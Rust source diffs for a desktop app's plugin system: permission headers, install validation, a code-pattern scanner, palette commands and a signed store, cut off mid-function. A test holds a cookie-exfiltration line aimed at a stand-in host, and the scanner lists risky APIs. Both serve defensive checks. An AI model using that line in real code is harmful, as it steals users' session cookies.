/// image) every time when nothing was copied. `None` elsewhere, so every poll reads.
#[cfg(windows)]
fn change_marker() -> Option<u32> {
clipboard_win::raw::seq_num().map(|n| n.get())
}
#[cfg(not(windows))]
fn change_marker() -> Option<u32> {
None
}
/// Password managers and other apps mark secret copies with these registered formats; clipboard
/// monitors (like Windows' own clipboard history) must not record them.
#[cfg(windows)]
pub fn marked_private() -> bool {
["ExcludeClipboardContentFromMonitorProcessing", "Clipboard Viewer Ignore"].iter().any(|name| {
clipboard_win::raw::register_format(name).is_some_and(|format| clipboard_win::raw::is_format_avail(format.get()))
})
}
#[cfg(not(windows))]
pub fn marked_private() -> bool {
false
}
/// Polls the clipboard every `poll` forever (run it on its own thread). `enabled` is the owner's
/// opt-in, asked every round; `on_copy` gets each new copy. Recording starts with the next copy
/// after the opt-in, never with whatever was on the clipboard before, and a private copy is never
/// read.
pub fn watch(poll: Duration, enabled: impl Fn() -> bool, mut on_copy: impl FnMut(Seen)) {
let mut clipboard: Option<arboard::Clipboard> = None;
let mut last: Option<String> = None;
let mut last_marker: Option<u32> = None;
let mut was_enabled = false;
loop {
std::thread::sleep(poll);
if !enabled() {
// Release the OS clipboard handle entirely while the feature is off.
clipboard = None;
was_enabled = false;
last_marker = None;
continue;
}
let marker = change_marker();
if marker.is_some() && marker == last_marker {
continue;
}
last_marker = marker;
if marked_private() {
// Never read a secret copy; also arm the opt-in so it is not recorded later.
was_enabled = true;
continue;
}
if clipboard.is_none() {
clipboard = arboard::Clipboard::new().ok();
}
let Some(board) = clipboard.as_mut() else { continue };
let Some(seen) = read(board) else { continue };
let hash = seen.hash().to_string();
// Opt-in starts recording from the next copy, not whatever was on the clipboard before.
if !was_enabled {
was_enabled = true;
last = Some(hash);
continue;
}
if last.as_deref() == Some(hash.as_str()) {
continue;
}
last = Some(hash);
on_copy(seen);
}
}

View file

@ -1,8 +1,18 @@
//! BetterDiscord-style extensions for the site page: `*.plugin.js` files and custom CSS.
//!
//! Plugins are trusted by the owner who puts them in the folder. They run in the site page with
//! full page access. Native code only reads files from its own plugins directory, never from a
//! caller-supplied path, and the scripts it builds embed plugin data as JSON string literals.
//! Plugins are trusted by the owner who installs them: by copying files into the folder, or through
//! the app's install screen (dropped file, `waybetter://install` link, store), which shows the name,
//! author, version, source, sha256, permissions and the code before anything is written (see
//! [`validate_plugin`] and [`PluginStore::install`]). They run in the site page with full page
//! access. Native code only reads files from its own plugins directory, never from a caller-supplied
//! path, and the scripts it builds embed plugin data as JSON string literals.
//!
//! A header may declare `@permissions` (see [`PERMISSIONS`]). The page runtime then hands the
//! plugin an API view that throws on undeclared members (`withPlugin`, runtime `permissions.ts`).
//! That is a declaration plus a guard rail, not a sandbox: page JavaScript can always reach around
//! it. A plugin without the line is "legacy" (full API, labelled so in the app).
pub mod commands;
use serde::Serialize;
use sha2::{Digest, Sha256};
@ -39,6 +49,9 @@ fn content_hash(bytes: &[u8]) -> String {
Sha256::digest(bytes).iter().map(|byte| format!("{byte:02x}")).collect()
}
/// Permissions a plugin header may declare. `network` / `network:none` are declarations only.
pub const PERMISSIONS: &[&str] = &["storage", "ui", "clipboard", "account", "users", "commands", "network", "network:none"];
#[derive(Clone, Debug, Serialize, PartialEq, Eq)]
#[serde(rename_all = "camelCase")]
pub struct ScriptPlugin {
@ -48,6 +61,34 @@ pub struct ScriptPlugin {
pub version: String,
pub author: String,
pub enabled: bool,
/// Declared `@permissions`; `None` = no line (legacy: full API, full page access).
pub permissions: Option<Vec<String>>,
/// Header problems (unknown permission names ...). The valid part still applies.
#[serde(skip_serializing_if = "Vec::is_empty")]
pub problems: Vec<String>,
}
/// Parses a `@permissions` value: comma/space separated, case-insensitive, `none` = no grants.
/// Same rules as the runtime's `parsePermissions`.
pub fn parse_permissions(value: &str) -> Result<Vec<String>, String> {
let mut out: Vec<String> = Vec::new();
for token in value.split(|ch: char| ch == ',' || ch.is_whitespace()).filter(|token| !token.is_empty()) {
let token = token.to_ascii_lowercase();
if token == "none" {
continue;
}
if !PERMISSIONS.contains(&token.as_str()) {
let shown: String = token.chars().take(40).collect();
return Err(format!("unknown permission \"{shown}\""));
}
if !out.contains(&token) {
out.push(token);
}
}
if out.iter().any(|p| p == "network") && out.iter().any(|p| p == "network:none") {
return Err("\"network\" and \"network:none\" contradict each other".into());
}
Ok(out)
}
/// A plugin file name must be a bare `name.plugin.js` inside the plugins directory.
@ -61,7 +102,8 @@ pub fn valid_file_name(file: &str) -> bool {
.all(|ch| ch.is_ascii_alphanumeric() || b"_-. ".contains(&ch))
}
/// Reads `@name`, `@description`, `@version` and `@author` from the leading `/** … */` block.
/// Reads `@name`, `@description`, `@version`, `@author` and `@permissions` from the leading
/// `/** … */` block.
pub fn parse_meta(file: &str, source: &str) -> ScriptPlugin {
let mut plugin = ScriptPlugin {
file: file.to_owned(),
@ -70,6 +112,8 @@ pub fn parse_meta(file: &str, source: &str) -> ScriptPlugin {
version: String::new(),
author: String::new(),
enabled: false,
permissions: None,
problems: Vec::new(),
};
let trimmed = source.trim_start_matches('\u{feff}').trim_start();
let Some(body) = trimmed.strip_prefix("/**") else {
@ -90,12 +134,106 @@ pub fn parse_meta(file: &str, source: &str) -> ScriptPlugin {
"description" => plugin.description = value,
"version" => plugin.version = value,
"author" => plugin.author = value,
"permissions" => {
// Several lines add up; an invalid line grants nothing from that line.
let granted = plugin.permissions.get_or_insert_with(Vec::new);
match parse_permissions(&value) {
Ok(list) => {
for permission in list {
if !granted.contains(&permission) {
granted.push(permission);
}
}
}
Err(problem) => plugin.problems.push(format!("@permissions: {problem}")),
}
}
_ => {}
}
}
if let Some(list) = &plugin.permissions {
if list.iter().any(|p| p == "network") && list.iter().any(|p| p == "network:none") {
plugin.problems.push("@permissions: \"network\" and \"network:none\" contradict each other".into());
}
}
plugin
}
/// What a source scan found that a reviewer should see before installing. Heuristic: minified or
/// obfuscated code can hide all of these, so an empty list proves nothing.
pub fn source_findings(source: &str) -> Vec<&'static str> {
const PATTERNS: &[(&str, &str)] = &[
("fetch(", "makes network requests (fetch)"),
("XMLHttpRequest", "makes network requests (XMLHttpRequest)"),
("WebSocket", "opens WebSockets"),
("EventSource", "opens server-sent event streams"),
("sendBeacon", "sends beacons"),
("import(", "loads code at runtime (import())"),
("eval(", "evaluates strings as code (eval)"),
("new Function", "evaluates strings as code (new Function)"),
("document.cookie", "reads cookies"),
("innerHTML", "writes HTML (innerHTML)"),
];
let mut found: Vec<&'static str> = Vec::new();
for (needle, finding) in PATTERNS {
if source.contains(needle) && !found.contains(finding) {
found.push(finding);
}
}
found
}
/// A plugin file checked for installation through the app (never for files the owner copied in).
#[derive(Clone, Debug, Serialize, PartialEq, Eq)]
#[serde(rename_all = "camelCase")]
pub struct ValidatedPlugin {
pub meta: ScriptPlugin,
pub sha256: String,
pub size: usize,
pub findings: Vec<&'static str>,
}
/// Checks a plugin before it may be installed: a valid file name, at most [`MAX_PLUGIN_BYTES`],
/// UTF-8 text without NUL or other binary control bytes, a `/** … */` header with `@name` and
/// `@version`, and a valid `@permissions` line when there is one. A header that declares
/// `network:none` while the source calls network APIs is refused.
pub fn validate_plugin(file: &str, bytes: &[u8]) -> Result<ValidatedPlugin, String> {
if !valid_file_name(file) {
return Err("VALIDATION: the file name must look like name.plugin.js (letters, digits, - _ . and spaces)".into());
}
if bytes.is_empty() {
return Err("VALIDATION: the plugin file is empty".into());
}
if bytes.len() as u64 > MAX_PLUGIN_BYTES {
return Err("VALIDATION: plugins are limited to 2 MiB".into());
}
let source = std::str::from_utf8(bytes).map_err(|_| "VALIDATION: a plugin must be UTF-8 text")?;
if source.chars().any(|ch| (ch.is_control() && !matches!(ch, '\n' | '\r' | '\t' | '\u{c}')) || ch == '\u{fffd}') {
return Err("VALIDATION: the file contains binary data, not JavaScript text".into());
}
let trimmed = source.trim_start_matches('\u{feff}').trim_start();
if !trimmed.starts_with("/**") || !trimmed.contains("*/") {
return Err("VALIDATION: a plugin must start with a /** … */ header (@name, @version)".into());
}
let meta = parse_meta(file, source);
let header = &trimmed[..trimmed.find("*/").unwrap_or(0)];
if !header.contains("@name") || meta.name.trim().is_empty() {
return Err("VALIDATION: the header needs an @name".into());
}
if meta.version.trim().is_empty() {
return Err("VALIDATION: the header needs an @version".into());
}
if let Some(problem) = meta.problems.first() {
return Err(format!("VALIDATION: {problem}"));
}
let findings = source_findings(source);
let promises_no_network = meta.permissions.as_ref().is_some_and(|list| list.iter().any(|p| p == "network:none"));
if promises_no_network && findings.iter().any(|finding| finding.contains("network") || finding.contains("WebSocket") || finding.contains("beacon") || finding.contains("event streams")) {
return Err("VALIDATION: the header says network:none but the code uses network APIs".into());
}
Ok(ValidatedPlugin { sha256: content_hash(bytes), size: bytes.len(), findings, meta })
}
pub struct PluginStore {
dir: PathBuf,
host: &'static PluginHost,
@ -216,6 +354,53 @@ impl PluginStore {
Ok(plugins)
}
/// Whether `file` is enabled.
pub fn is_enabled(&self, file: &str) -> bool {
self.enabled_set().contains(file)
}
/// sha256 of an installed plugin file, or None when it is missing or unreadable.
pub fn file_hash(&self, file: &str) -> Option<String> {
self.read_source(file).ok().map(|source| content_hash(source.as_bytes()))
}
/// Writes a plugin the owner confirmed in the app's install screen. The bytes are validated
/// again ([`validate_plugin`]); the file is written next to its final name and renamed over it,
/// so a running X tab never reads half a file. Never enables it; an existing file of that name
/// is replaced (an update), keeping its enabled state.
pub fn install(&self, file: &str, bytes: &[u8]) -> Result<ValidatedPlugin, String> {
let validated = validate_plugin(file, bytes)?;
self.ensure()?;
let target = self.dir.join(file);
if target.exists() && !fs::metadata(&target).map(|meta| meta.is_file()).unwrap_or(false) {
return Err("PLUGINS: a folder of that name is in the way".into());
}
let temp = self.dir.join(format!(".{file}.installing"));
fs::write(&temp, bytes).map_err(|error| format!("PLUGINS: {error}"))?;
if let Err(error) = fs::rename(&temp, &target) {
let _ = fs::remove_file(&temp);
return Err(format!("PLUGINS: {error}"));
}
Ok(validated)
}
/// Deletes a plugin file and forgets that it was enabled. A first-party plugin removed this way
/// stays removed (see [`Self::install_bundled`]).
pub fn remove(&self, file: &str) -> Result<(), String> {
if !valid_file_name(file) {
return Err("VALIDATION: invalid plugin file name".into());
}
let path = self.dir.join(file);
let meta = fs::metadata(&path).map_err(|_| "PLUGINS: plugin file not found")?;
if !meta.is_file() {
return Err("PLUGINS: not a plugin file".into());
}
if self.is_enabled(file) {
self.set_enabled(file, false)?;
}
fs::remove_file(&path).map_err(|error| format!("PLUGINS: {error}"))
}
pub fn set_enabled(&self, file: &str, enabled: bool) -> Result<(), String> {
self.read_source(file)?;
let mut set = self.enabled_set();
@ -261,30 +446,70 @@ fn js_string(value: &str) -> Result<String, String> {
/// Wraps a CommonJS-style plugin (`module.exports = class { start() {} stop() {} }`).
/// Native code evaluates the result in the site tab, so the page's CSP does not block it.
///
/// Construction and `start()` run inside `api.commands.withOwner(file, ...)` when the runtime has
/// a command registry, so palette commands registered meanwhile belong to this plugin and are
/// removed by [`stop_script`] (or at once when the start fails).
///
/// The module body, construction, `start()` and `stop()` also run inside
/// `window.<global>.withPlugin(id, grants, fn)` when the runtime has it: reads of
/// `window.<global>.api` there return the plugin's view for its declared `@permissions` (`grants`
/// = null for a legacy plugin without the line: the full API).
pub fn start_script(host: &PluginHost, file: &str, source: &str) -> Result<String, String> {
start_script_with(host, file, source, None)
}
/// [`start_script`] for the live-reload developer mode: the evaluated script ends with
/// `//# sourceURL=<prefix><file>` so stack traces name the file and line (line 1 of the file is
/// line 2 of the evaluated script), and a start failure is also handed to the runtime's
/// `devError(id, error)` (which shows it in the page).
pub fn dev_start_script(host: &PluginHost, file: &str, source: &str, source_url_prefix: &str) -> Result<String, String> {
if !source_url_prefix.bytes().all(|b| b.is_ascii_alphanumeric() || b"-_/:.".contains(&b)) {
return Err("VALIDATION: invalid source URL prefix".into());
}
start_script_with(host, file, source, Some(source_url_prefix))
}
/// Line of the evaluated start script on which the plugin file's first line lands.
pub const START_SCRIPT_LINE_OFFSET: u32 = 1;
fn start_script_with(host: &PluginHost, file: &str, source: &str, dev: Option<&str>) -> Result<String, String> {
let id = js_string(file)?;
let grants = serde_json::to_string(&parse_meta(file, source).permissions).map_err(|_| "PLUGINS: serialization failed")?;
let PluginHost { runtime_global: global, origin, product, .. } = host;
// Only a valid file name (letters, digits, `_-. `) reaches the comment.
let source_url = match dev {
Some(prefix) if valid_file_name(file) => format!("\n//# sourceURL={prefix}{}", file.replace(' ', "%20")),
_ => String::new(),
};
let on_error = if dev.is_some() { "if(typeof XW.devError==='function')XW.devError(id,e);" } else { "" };
Ok(format!(
"(()=>{{const XW=window.{global};if(!XW||window.top!==window||location.origin!=='{origin}')return;\
const id={id};if(XW.plugins[id])return;\
const C=XW.api&&XW.api.commands;const as=f=>typeof XW.withPlugin==='function'?XW.withPlugin(id,{grants},f):f();\
const own=f=>as(()=>C&&typeof C.withOwner==='function'?C.withOwner(id,f):f());\
try{{const module={{exports:{{}}}};const exports=module.exports;\
(function(module,exports){{\n{source}\n}})(module,exports);\
as(()=>{{(function(module,exports){{\n{source}\n}})(module,exports);}});\
let P=module.exports&&module.exports.default?module.exports.default:module.exports;\
const inst=typeof P==='function'?(P.prototype&&(P.prototype.start||P.prototype.stop)?new P():P()):P;\
XW.plugins[id]=inst||{{}};delete XW.errors[id];if(inst&&typeof inst.start==='function')inst.start();\
const inst=own(()=>typeof P==='function'?(P.prototype&&(P.prototype.start||P.prototype.stop)?new P():P()):P);\
XW.plugins[id]=inst||{{}};delete XW.errors[id];if(inst&&typeof inst.start==='function')own(()=>inst.start());\
console.info('[{product}] started',id);}}\
catch(e){{XW.errors[id]=String(e&&e.stack||e);console.error('[{product}] plugin failed',id,e);}}}})();"
catch(e){{XW.errors[id]=String(e&&e.stack||e);if(C&&typeof C.removeOwner==='function')C.removeOwner(id);{on_error}\
console.error('[{product}] plugin failed',id,e);}}}})();{source_url}"
))
}
/// Stops a plugin; whatever palette commands it forgot to unregister go with it.
pub fn stop_script(host: &PluginHost, file: &str) -> Result<String, String> {
let id = js_string(file)?;
let PluginHost { runtime_global: global, product, .. } = host;
Ok(format!(
"(()=>{{const XW=window.{global};if(!XW)return;const id={id};const p=XW.plugins[id];\
if(!p)return;delete XW.plugins[id];\
try{{if(typeof p.stop==='function')p.stop();console.info('[{product}] stopped',id);}}\
catch(e){{console.error('[{product}] plugin stop failed',id,e);}}}})();"
const C=XW.api&&XW.api.commands;const drop=()=>{{if(C&&typeof C.removeOwner==='function')C.removeOwner(id);}};\
if(!p){{drop();return;}}delete XW.plugins[id];\
const as=f=>typeof XW.withPlugin==='function'?XW.withPlugin(id,undefined,f):f();\
try{{if(typeof p.stop==='function')as(()=>p.stop());console.info('[{product}] stopped',id);}}\
catch(e){{console.error('[{product}] plugin stop failed',id,e);}}drop();}})();"
))
}
@ -379,4 +604,106 @@ mod tests {
let css = css_script(&HOST, "</style><script>").unwrap();
assert!(css.contains("const id='demo-css'") && css.contains(r#"s.textContent="</style><script>";"#));
}
#[test]
fn palette_commands_belong_to_the_plugin_and_go_when_it_stops() {
let start = start_script(&HOST, "focus.plugin.js", "module.exports = class { start(){} };").unwrap();
// Construction and start() run with the plugin as the commands' owner.
assert!(start.contains("C.withOwner(id,f)") && start.contains("own(()=>inst.start())"));
// A failed start drops whatever it registered before throwing.
assert!(start.contains("catch(e){XW.errors[id]=String(e&&e.stack||e);if(C&&typeof C.removeOwner==='function')C.removeOwner(id);"));
assert!(!start.contains("sourceURL") && !start.contains("devError"));
let stop = stop_script(&HOST, "focus.plugin.js").unwrap();
// Removed after stop(), and also when the plugin was not running (a failed start).
assert!(stop.contains("if(!p){drop();return;}") && stop.ends_with("drop();})();"));
}
#[test]
fn dev_start_script_names_the_file_for_stack_traces() {
let source = "module.exports = class {\n start(){ throw new Error('x'); }\n};";
let dev = dev_start_script(&HOST, "My Plugin.plugin.js", source, "wb-dev/").unwrap();
assert!(dev.ends_with("\n//# sourceURL=wb-dev/My%20Plugin.plugin.js"));
assert!(dev.contains("XW.devError(id,e)"));
// The file's first line is line 1 + START_SCRIPT_LINE_OFFSET of the evaluated script.
let first = dev.lines().position(|line| line == "module.exports = class {").unwrap() as u32;
assert_eq!(first, START_SCRIPT_LINE_OFFSET);
assert!(dev_start_script(&HOST, "a.plugin.js", source, "x\n//# evil").is_err());
}
#[test]
fn permissions_header_is_parsed_strictly() {
assert_eq!(parse_permissions("storage, ui clipboard,UI").unwrap(), vec!["storage", "ui", "clipboard"]);
assert_eq!(parse_permissions("none").unwrap(), Vec::<String>::new());
assert!(parse_permissions("storage, cookies").unwrap_err().contains("unknown permission \"cookies\""));
assert!(parse_permissions("network network:none").is_err());
let legacy = parse_meta("a.plugin.js", "/**\n * @name A\n * @version 1.0.0\n */");
assert_eq!(legacy.permissions, None, "no line = legacy, full API");
let declared = parse_meta("b.plugin.js", "/**\n * @name B\n * @permissions storage, ui\n * @permissions network:none\n */");
assert_eq!(declared.permissions, Some(vec!["storage".into(), "ui".into(), "network:none".into()]));
let bad = parse_meta("c.plugin.js", "/**\n * @name C\n * @permissions storage\n * @permissions root\n */");
assert_eq!(bad.permissions, Some(vec!["storage".into()]), "an invalid line grants nothing");
assert_eq!(bad.problems.len(), 1);
}
#[test]
fn install_validation_rejects_binary_oversized_and_headerless_files() {
let good = "/**\n * @name Good\n * @version 1.0.0\n * @author me\n * @permissions ui\n */\nmodule.exports = class { start(){} stop(){} };";
let ok = validate_plugin("good.plugin.js", good.as_bytes()).unwrap();
assert_eq!((ok.meta.name.as_str(), ok.size), ("Good", good.len()));
assert_eq!(ok.sha256, content_hash(good.as_bytes()));
assert!(ok.findings.is_empty());
let err = |file: &str, bytes: &[u8]| validate_plugin(file, bytes).unwrap_err();
assert!(err("../good.plugin.js", good.as_bytes()).contains("file name"));
assert!(err("good.js", good.as_bytes()).contains("file name"));
assert!(err("e.plugin.js", b"").contains("empty"));
assert!(err("big.plugin.js", &vec![b'a'; MAX_PLUGIN_BYTES as usize + 1]).contains("2 MiB"));
assert!(err("bin.plugin.js", b"/** @name X @version 1 */\0\x01\x02").contains("binary"));
assert!(err("bin.plugin.js", &[0xff, 0xfe, 0x00]).contains("UTF-8"));
assert!(err("nohead.plugin.js", b"module.exports = {};").contains("header"));
assert!(err("noname.plugin.js", b"/**\n * @version 1.0.0\n */").contains("@name"));
assert!(err("nover.plugin.js", b"/**\n * @name N\n */").contains("@version"));
assert!(err("perm.plugin.js", b"/**\n * @name P\n * @version 1\n * @permissions everything\n */").contains("unknown permission"));
let liar = "/**\n * @name L\n * @version 1\n * @permissions network:none\n */\nfetch('https://evil.test/?' + document.cookie);";
assert!(err("liar.plugin.js", liar.as_bytes()).contains("network:none"));
let honest = liar.replace("network:none", "network");
let findings = validate_plugin("honest.plugin.js", honest.as_bytes()).unwrap().findings;
assert!(findings.contains(&"makes network requests (fetch)") && findings.contains(&"reads cookies"));
}
#[test]
fn install_writes_atomically_keeps_enabled_state_and_remove_forgets_it() {
let root = tempfile::tempdir().unwrap();
let store = PluginStore::new(root.path().join("plugins"), &HOST);
let v1 = "/**\n * @name Up\n * @version 1.0.0\n */\nmodule.exports = class { start(){} };";
let v2 = v1.replace("1.0.0", "1.1.0");
store.install("up.plugin.js", v1.as_bytes()).unwrap();
assert!(!store.is_enabled("up.plugin.js"), "installing never enables");
store.set_enabled("up.plugin.js", true).unwrap();
let installed = store.install("up.plugin.js", v2.as_bytes()).unwrap();
assert_eq!(installed.meta.version, "1.1.0");
assert!(store.is_enabled("up.plugin.js"), "an update keeps the enabled state");
assert_eq!(store.file_hash("up.plugin.js"), Some(content_hash(v2.as_bytes())));
assert!(fs::read_dir(store.dir()).unwrap().all(|entry| !entry.unwrap().file_name().to_string_lossy().ends_with(".installing")));
assert!(store.install("bad.plugin.js", b"not a plugin").is_err());
assert!(!store.dir().join("bad.plugin.js").exists(), "an invalid file is never written");
store.remove("up.plugin.js").unwrap();
assert!(!store.dir().join("up.plugin.js").exists());
assert!(!store.is_enabled("up.plugin.js"));
assert!(store.remove("../escape.plugin.js").is_err());
// A removed first-party plugin stays removed.
store.remove("wb-one.plugin.js").unwrap();
store.ensure().unwrap();
assert!(!store.dir().join("wb-one.plugin.js").exists());
}
#[test]
fn start_script_hands_the_runtime_the_declared_grants() {
let declared = start_script(&HOST, "d.plugin.js", "/**\n * @name D\n * @permissions storage, ui\n */\nmodule.exports = {};").unwrap();
assert!(declared.contains(r#"XW.withPlugin(id,["storage","ui"],f)"#));
assert!(declared.contains("as(()=>{(function(module,exports){"), "the module body runs as the plugin");
let legacy = start_script(&HOST, "l.plugin.js", "module.exports = {};").unwrap();
assert!(legacy.contains("XW.withPlugin(id,null,f)"), "legacy plugins get the full API");
let stop = stop_script(&HOST, "d.plugin.js").unwrap();
assert!(stop.contains("XW.withPlugin(id,undefined,f)") && stop.contains("as(()=>p.stop())"));
}
}

View file

@ -0,0 +1,121 @@
//! Plugin commands in the shell's command palette.
//!
//! A site tab may report the palette commands its plugins registered (`api.commands.register`,
//! waybetter runtime `commands.ts`) as `{ id, title, keywords }` strings about itself. The app
//! accepts them only from `tab-*` webviews that are on the site right now ([`SiteSpec::is_origin`]),
//! validates and caps them here, keeps them per tab (a new page load clears them) and forwards them
//! to the shell. Running one is a shell-only app command: native code checks the command is one this
//! tab reported and asks that tab's page to `run` it ([`run_script`]); the command's code only ever
//! runs in the page.
use crate::site::SiteSpec;
use serde::{Deserialize, Serialize};
pub const MAX_COMMANDS: usize = 48;
pub const MAX_TITLE: usize = 80;
pub const MAX_KEYWORDS: usize = 160;
const MAX_COMMAND_ID: usize = 64;
/// Shell event carrying `{ id, commands }` for one tab.
pub const EVENT: &str = "tab-commands";
#[derive(Clone, Debug, Serialize, Deserialize, PartialEq, Eq)]
#[serde(deny_unknown_fields)]
pub struct PaletteCommand {
pub id: String,
pub title: String,
#[serde(default)]
pub keywords: String,
}
/// `<owner>:<command>`: the owner is `_` or a plugin file name (`valid_file_name`), the command id
/// letters, digits, `.`, `_`, `-` (1–64, starting with a letter or digit).
pub fn valid_command_id(id: &str) -> bool {
let Some((owner, command)) = id.split_once(':') else { return false };
let owner_ok = owner == "_" || super::valid_file_name(owner);
let command_ok = !command.is_empty()
&& command.len() <= MAX_COMMAND_ID
&& command.as_bytes()[0].is_ascii_alphanumeric()
&& command.bytes().all(|b| b.is_ascii_alphanumeric() || b"._-".contains(&b));
owner_ok && command_ok
}
fn plain(text: &str, max: usize, required: bool) -> bool {
let count = text.chars().count();
count <= max && (!required || !text.trim().is_empty()) && !text.chars().any(char::is_control)
}
/// The list a tab reported, validated as a whole: any bad entry rejects the report.
pub fn validate(list: Vec<PaletteCommand>) -> Result<Vec<PaletteCommand>, String> {
if list.len() > MAX_COMMANDS {
return Err(format!("VALIDATION: at most {MAX_COMMANDS} palette commands per tab"));
}
let mut seen: Vec<&str> = Vec::new();
for command in &list {
if !valid_command_id(&command.id) || seen.contains(&command.id.as_str()) {
return Err("VALIDATION: invalid palette command id".into());
}
if !plain(&command.title, MAX_TITLE, true) || !plain(&command.keywords, MAX_KEYWORDS, false) {
return Err("VALIDATION: palette command titles are 1-80 and keywords at most 160 plain characters".into());
}
seen.push(&command.id);
}
Ok(list)
}
/// The page script that runs command `id` (already checked against the tab's list) in a site tab:
/// it does nothing unless the page is the top frame on the site's primary origin.
pub fn run_script(site: &SiteSpec, id: &str) -> Result<String, String> {
if !valid_command_id(id) {
return Err("VALIDATION: invalid palette command id".into());
}
let id = serde_json::to_string(id).map_err(|_| "VALIDATION: invalid palette command id")?;
let (global, origin) = (site.runtime_global, site.primary_origin());
Ok(format!(
"(()=>{{const W=window.{global};const C=W&&W.api&&W.api.commands;\
if(window.top===window&&location.origin==='{origin}'&&C&&typeof C.run==='function')C.run({id});}})();"
))
}
#[cfg(test)]
mod tests {
use super::*;
use crate::site::testing::SITE;
fn command(id: &str, title: &str) -> PaletteCommand {
PaletteCommand { id: id.into(), title: title.into(), keywords: "focus hide".into() }
}
#[test]
fn accepts_plugin_owned_ids_titles_and_keywords_only() {
let list = vec![command("bt-focus-mode.plugin.js:toggle", "Focus Mode: toggle"), command("_:later", "Later")];
assert_eq!(validate(list.clone()).unwrap(), list);
assert!(validate(Vec::new()).unwrap().is_empty(), "an empty list clears the tab's commands");
// Only the three string fields exist on the wire.
let extra = serde_json::from_value::<PaletteCommand>(serde_json::json!({ "id": "_:a", "title": "A", "keywords": "", "run": "alert(1)" }));
assert!(extra.is_err());
}
#[test]
fn rejects_bad_ids_long_or_control_text_duplicates_and_too_many() {
for id in ["toggle", ":toggle", "_:", "../x.plugin.js:a", "x.js:a", "_:-a", "_:has space", "_:a:b", &format!("_:{}", "a".repeat(65))] {
assert!(validate(vec![command(id, "T")]).is_err(), "{id}");
}
assert!(validate(vec![command("_:a", "")]).is_err());
assert!(validate(vec![command("_:a", " ")]).is_err());
assert!(validate(vec![command("_:a", &"t".repeat(MAX_TITLE + 1))]).is_err());
assert!(validate(vec![command("_:a", "line\nbreak")]).is_err());
assert!(validate(vec![PaletteCommand { keywords: "k".repeat(MAX_KEYWORDS + 1), ..command("_:a", "A") }]).is_err());
assert!(validate(vec![command("_:a", "A"), command("_:a", "B")]).is_err());
let many = (0..=MAX_COMMANDS).map(|n| command(&format!("_:c{n}"), "T")).collect();
assert!(validate(many).is_err());
}
#[test]
fn run_script_embeds_the_id_as_a_literal_and_stays_on_the_site() {
let script = run_script(&SITE, "bt-focus-mode.plugin.js:toggle").unwrap();
assert!(script.contains(r#"C.run("bt-focus-mode.plugin.js:toggle")"#));
assert!(script.contains("const W=window.BetterTwttr;"));
assert!(script.contains("location.origin==='https://x.com'"));
assert!(run_script(&SITE, "_:a\");alert(1);(\"").is_err());
}
}

View file

@ -0,0 +1,788 @@
//! The pure half of distribution: install links and the download allow-list, theme files, the
//! signed multi-app store catalog, install records and version order. Headless and tested here.
use crate::plugins::{self, valid_file_name, ValidatedPlugin, MAX_PLUGIN_BYTES};
use base64::Engine;
use ed25519_dalek::{Signature, VerifyingKey};
use serde::{Deserialize, Serialize};
use sha2::{Digest, Sha256};
use std::collections::{BTreeMap, HashSet};
use url::Url;
/// Where the shared wayBetter Store lives. The catalog is `catalog.json` + `catalog.json.sig` under it.
pub const DEFAULT_STORE_BASE: &str = "https://waybetter.fyi/store/";
/// The framework's own download hosts: the site, its CDN, and raw files on its code host.
pub const DEFAULT_HOSTS: &[AllowedHost] = &[
AllowedHost { host: "waybetter.fyi", raw_files_only: false },
AllowedHost { host: "cdn1.crt.fyi", raw_files_only: false },
AllowedHost { host: "git.crt.fyi", raw_files_only: true },
];
/// The catalog format this code reads. Format 2: every item names the apps it is for (`apps`).
pub const CATALOG_FORMAT: u32 = 2;
pub const MAX_THEME_BYTES: usize = 2 * 1024 * 1024;
pub const MAX_CATALOG_BYTES: usize = 1024 * 1024;
pub const MAX_SIGNATURE_BYTES: usize = 512;
pub const MAX_LINK_CHARS: usize = 2048;
const MAX_ITEMS: usize = 500;
const MAX_ITEM_APPS: usize = 16;
/// A host install links and store items may point at.
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub struct AllowedHost {
pub host: &'static str,
/// A code host (Gitea/Forgejo): only raw file paths, `/<owner>/<repo>/raw/...`.
pub raw_files_only: bool,
}
/// What an app tells the framework about its store. Everything else is the framework's.
#[derive(Clone, Copy, Debug)]
pub struct StoreConfig {
/// The app's id in the shared catalog (`apps: ["x"]`): lowercase letters, digits and `-`.
pub app_id: &'static str,
/// Log prefix, e.g. `wayBetter for X`.
pub product: &'static str,
/// HTTP user agent for store downloads, e.g. `wayBetter-for-X/1.1.0`.
pub user_agent: &'static str,
/// The URL scheme of install links (`waybetter` → `waybetter://install?...`).
pub scheme: &'static str,
/// The store folder URL, ending in `/` (usually [`DEFAULT_STORE_BASE`]).
pub store_base: &'static str,
/// Store public keys (base64 of the raw 32-byte Ed25519 key), compiled into the app. Any of
/// them may sign the catalog, so a new key can ship before the catalog is re-signed with it.
pub public_keys: &'static [&'static str],
/// Hosts links and store items may point at (usually [`DEFAULT_HOSTS`]).
pub allowed_hosts: &'static [AllowedHost],
}
#[derive(Clone, Copy, Debug, PartialEq, Eq, Hash, Serialize, Deserialize)]
#[serde(rename_all = "lowercase")]
pub enum Kind {
Theme,
Plugin,
}
impl Kind {
pub fn parse(value: &str) -> Result<Self, String> {
match value {
"theme" => Ok(Kind::Theme),
"plugin" => Ok(Kind::Plugin),
_ => Err("VALIDATION: kind must be \"theme\" or \"plugin\"".into()),
}
}
pub fn as_str(self) -> &'static str {
match self {
Kind::Theme => "theme",
Kind::Plugin => "plugin",
}
}
pub fn max_bytes(self) -> usize {
match self {
Kind::Theme => MAX_THEME_BYTES,
Kind::Plugin => MAX_PLUGIN_BYTES as usize,
}
}
}
pub fn sha256_hex(bytes: &[u8]) -> String {
Sha256::digest(bytes).iter().map(|byte| format!("{byte:02x}")).collect()
}
/// A valid app id: 1–32 lowercase ASCII letters, digits or `-`.
pub fn valid_app_id(id: &str) -> bool {
!id.is_empty() && id.len() <= 32 && id.bytes().all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-')
}
/// An https URL on an allowed host that native code may download from: default port, no
/// credentials, no fragment; on a raw-files-only host only `/<owner>/<repo>/raw/...` paths.
pub fn allowed_download_url(hosts: &[AllowedHost], url: &Url) -> bool {
if url.scheme() != "https" || !url.username().is_empty() || url.password().is_some() || url.port().is_some() || url.fragment().is_some() {
return false;
}
if url.as_str().len() > MAX_LINK_CHARS {
return false;
}
let Some(host) = url.host_str() else { return false };
let Some(rule) = hosts.iter().find(|allowed| allowed.host == host) else { return false };
if rule.raw_files_only {
